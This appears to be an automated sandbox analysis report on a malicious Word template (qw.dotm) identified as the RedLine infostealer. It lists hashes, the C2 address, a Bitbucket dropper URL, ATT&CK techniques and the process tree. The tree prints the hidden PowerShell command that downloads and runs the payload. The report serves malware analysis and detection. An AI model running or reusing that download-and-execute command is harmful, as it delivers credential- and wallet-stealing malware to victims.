redline | 4a10e8fcc6e942f08c066c542cec8a4e2c1459c8d901e60cf6f7b74f0c032ec1

General

Target

qw.dotm
Size

15KB
MD5

19cd6fd29ed067257e00f015b95f06b6
SHA1

76f46883574ac1e0b2c831ae4e15f2b786f663c3
SHA256

4a10e8fcc6e942f08c066c542cec8a4e2c1459c8d901e60cf6f7b74f0c032ec1
SHA512

4c28d8214a5e7b7a1f2f1feffc3ea06977aa7059c854a93248835727a106e01c12727101b22a320edf576c7d919674cd12e083be90f041cd5f1278af06bf7c01
SSDEEP

384:tmtZYh+oI+lpKrkjq2C781DXd6akwLWdxdkYB3to:qloI+lAx8Wakw6Lxk

Score

10^/10

redline 23/12/2022 infostealer spyware

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/bitcryptoexchangeee/1/downloads/driver.exe

Extracted

Family

redline

Botnet

23/12/2022

C2

45.138.27.123:31889

Attributes

auth_value
50fd3920486b0eae99d8c0feb8010929

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2236	1012	powershell.exe	69

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

Blocklisted process makes network request 2 IoCs

flow	pid	Process
20	2236	powershell.exe
23	2236	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1424	2d21412.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1424 set thread context of 1760	1424	2d21412.exe	87

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1012	WINWORD.EXE
1012	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2236	powershell.exe
2236	powershell.exe
1760	vbc.exe
1760	vbc.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2236	powershell.exe
Token: SeDebugPrivilege	1760	vbc.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1012	WINWORD.EXE
1012	WINWORD.EXE
1012	WINWORD.EXE
1012	WINWORD.EXE
1012	WINWORD.EXE
1012	WINWORD.EXE
1012	WINWORD.EXE

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 1012 wrote to memory of 2236	1012	WINWORD.EXE	82
PID 1012 wrote to memory of 2236	1012	WINWORD.EXE	82
PID 2236 wrote to memory of 1424	2236	powershell.exe	84
PID 2236 wrote to memory of 1424	2236	powershell.exe	84
PID 2236 wrote to memory of 1424	2236	powershell.exe	84
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87
PID 1424 wrote to memory of 1760	1424	2d21412.exe	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\qw.dotm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/bitcryptoexchangeee/1/downloads/driver.exe','2d21412.exe');Start-Process '2d21412.exe'
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Users\Admin\AppData\Local\Temp\2d21412.exe
    "C:\Users\Admin\AppData\Local\Temp\2d21412.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1424
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

1

T1064

Persistence

Privilege Escalation

Defense Evasion

Scripting

Web Service

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\2d21412.exe

Filesize
200KB

MD5
f2bd768066b4581da1f4c6ae3b82cf35

SHA1
2fbe84052bae89d230529d9a82f781bb156f6bc5

SHA256
4a3e358896e47f6106a459f130af00a37970be4439f231079f0d553b1f15e3fa

SHA512
4f46f7e4e1b5270d84589081470ed37b29a4b020daf586c9381927e330f0ae18606c43ba5a28b0bd40c4601262167ebd805a19af0fb49eca5a3198056ae954ff

Download Submit
C:\Users\Admin\AppData\Local\Temp\2d21412.exe

Filesize
200KB

MD5
f2bd768066b4581da1f4c6ae3b82cf35

SHA1
2fbe84052bae89d230529d9a82f781bb156f6bc5

SHA256
4a3e358896e47f6106a459f130af00a37970be4439f231079f0d553b1f15e3fa

SHA512
4f46f7e4e1b5270d84589081470ed37b29a4b020daf586c9381927e330f0ae18606c43ba5a28b0bd40c4601262167ebd805a19af0fb49eca5a3198056ae954ff

Download Submit
memory/1012-138-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmp

Filesize
64KB

Download
memory/1012-135-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-136-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-137-0x00007FFAF22E0000-0x00007FFAF22F0000-memory.dmp

Filesize
64KB

Download
memory/1012-132-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-165-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-164-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-163-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-134-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-133-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1012-162-0x00007FFAF4C10000-0x00007FFAF4C20000-memory.dmp

Filesize
64KB

Download
memory/1424-146-0x00000000005F0000-0x0000000000628000-memory.dmp

Filesize
224KB

Download
memory/1760-157-0x00000000072F0000-0x00000000074B2000-memory.dmp

Filesize
1.8MB

Download
memory/1760-150-0x00000000053F0000-0x0000000005A08000-memory.dmp

Filesize
6.1MB

Download
memory/1760-151-0x0000000004EE0000-0x0000000004FEA000-memory.dmp

Filesize
1.0MB

Download
memory/1760-152-0x0000000004DF0000-0x0000000004E02000-memory.dmp

Filesize
72KB

Download
memory/1760-153-0x0000000004E60000-0x0000000004E9C000-memory.dmp

Filesize
240KB

Download
memory/1760-154-0x0000000005180000-0x0000000005212000-memory.dmp

Filesize
584KB

Download
memory/1760-155-0x0000000005FC0000-0x0000000006564000-memory.dmp

Filesize
5.6MB

Download
memory/1760-156-0x0000000005A10000-0x0000000005A76000-memory.dmp

Filesize
408KB

Download
memory/1760-149-0x0000000000390000-0x00000000003C2000-memory.dmp

Filesize
200KB

Download
memory/1760-158-0x00000000079F0000-0x0000000007F1C000-memory.dmp

Filesize
5.2MB

Download
memory/1760-159-0x0000000006720000-0x0000000006796000-memory.dmp

Filesize
472KB

Download
memory/1760-160-0x00000000067A0000-0x00000000067F0000-memory.dmp

Filesize
320KB

Download
memory/2236-145-0x00007FFB089F0000-0x00007FFB094B1000-memory.dmp

Filesize
10.8MB

Download
memory/2236-141-0x00007FFB089F0000-0x00007FFB094B1000-memory.dmp

Filesize
10.8MB

Download
memory/2236-140-0x000001BFC1420000-0x000001BFC1442000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads